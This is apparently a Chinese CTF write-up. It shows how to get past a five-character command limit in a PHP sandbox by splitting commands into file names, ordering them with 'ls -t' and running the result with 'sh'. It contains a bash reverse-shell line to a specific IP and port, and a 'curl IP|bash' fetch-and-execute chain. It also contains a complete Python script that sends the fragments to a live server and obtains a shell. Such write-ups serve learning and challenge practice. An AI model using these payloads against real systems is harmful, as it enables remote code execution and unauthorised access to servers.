参考:
https://blog.csdn.net/calmegm/article/details/80874902
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
https://blog.csdn.net/calmegm/article/details/80874902
1.通过>来创建文件
>test.txt
ls
2.通过>将命令执行的结果存入文件中
echo "hello world">test
但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>
echo "aaa">test
cat test
echo "bbb">>test
cat test
在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 "\",可以将一条命令写在多行
比如我们有一个test文件内容如下:
ec\
ho \
hello \
world!
然后我们用sh命令来执行一下:
sh test
成功输出了 hello world!
在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
touch a
touch b
touch c
ls -t
我们先看执行如下命令的结果:
ls -t>test
cat test
ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件
我们可以做如下小实验:
比如我们要执行 echo hello world
> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _
我们可以看到,因为我们最后创建的文件 "_"的文件名会输入到文件中导致一个错误信息,但是并不影响我们下面命令的执行,最终成功的输出了 "hello world"
这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令,就会出现下面这种情况
echo \
hello world
这道ctf题目考的就是绕过长度限制执行命令
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
既然可以执行命令,那么我们首先想到的是反弹一个shell回来
bash反弹shell的命令如下:
bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1
空格需要转义
>\ \\
构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:
curl ip地址|bash
我们先在自己的vps新建一个文件,内容为
bash -i >& /dev/tcp/120.79.33.253/7777 0>&1
然后在vps上面监听7777端口
nc -lv 7777
因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后
>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_
那么我们再构造curl 120.79.33.253|bash
>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\
然后运行
sh _
生成文件y
再执行
sh y
最后贴一下我的py脚本
#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
s.get(reset)
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 120.79.33.253|bash
list2=[
">bash",
">\|\\",
">53\\",
">2\\",
">3.\\",
">3\\",
">9.\\",
">7\\",
">0.\\",
">12\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
url = baseurl+str(i)
s.get(url)
for j in list2:
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)
成功拿到shell
自搭测试地址:http://120.79.33.253:9003
想要复现一波的大佬可以复现一下,但请不要破坏环境
如有错误,还望各位大佬指出